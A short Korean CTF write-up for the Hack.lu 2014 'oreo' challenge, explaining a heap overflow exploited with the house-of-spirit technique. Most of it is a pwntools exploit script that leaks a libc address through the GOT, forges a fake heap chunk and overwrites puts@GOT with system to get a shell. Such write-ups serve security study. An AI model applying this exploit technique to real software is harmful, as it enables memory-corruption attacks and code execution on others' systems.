카테고리 없음

Hacklu 2014 oreo

HSr00t 2017. 6. 27. 11:16
add부분에서 heap오버플로우가일어남
house_of_spirit를 사용하면 풀수있음
Message변수에 들어가있는주소는 add할때마다 올라가는 숫자(카운트)가 저장되어있음
그 카운트가 청크 사이즈가됨 + 0x4가 변조전에 add한 청크를 가르키고있는 포인터임
그래서 Message+0x4로  add부분에서 수정하면그곳이 데이터시작위치가됨


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
 
#p=remote("localhost",9001)
p=process("./oreo_35f118d90a7790bbd1eb6d4549993ef0")
elf=ELF('oreo_35f118d90a7790bbd1eb6d4549993ef0')
Message = 0x0804a2a4
print p.recv(1024)
def add(name,description):
    p.sendline("1")
    p.sendline(name)
    p.sendline(description)
def Show():
    p.sendline("2")
def Order():
    p.sendline("3")
def Leave(submit_order):
    p.sendline("4")
    p.sendline(submit_order)
def ShowCurrent():
    p.sendline("5")
LeaveHeap = 0x0804a2a8
 
top=0x20fc1
payload='A'*27
payload+=p32(elf.got['free'])
add(payload,"B")##
top-=0x40
Show() ##
print p.recvuntil('Description: ')
print p.recvuntil('Description: ')
p.recv(4)
FREE=u32(p.recv(4))
system = FREE - 0x1a5ee0
cmd = system+0xe7139
print hex(FREE)
print hex(system)
print hex(cmd)
 
for i in range(0,60):
    add('D','Q')
    top-=0x40
 
print hex(top)
 
add("A"*27+'\x00'*4,'D')
payload="A"*27
payload+=p32(Message+0x4)
add(payload,"DCBA")
Leave(p32(0)*9+p32(0x12c)+p32(0)*4)
Order()
add("Z",p32(elf.got['puts']))
Leave(p32(system)+p32(cmd))
p.interactive()
 
cs


변조할 주소값을 알아야됨(SYSTEM LIBC 등), 그 변조할수있는 포인터를 free할수있어야됨


첫 번째 청크를 가르키고있는 주소가있다면 그 주소값을 fake chunk가 있는 STACK주소로 변조했다치고, FREE를 하고 malloc를 하면 변조된 stack주소로 바뀌게됨

HOW2HEAP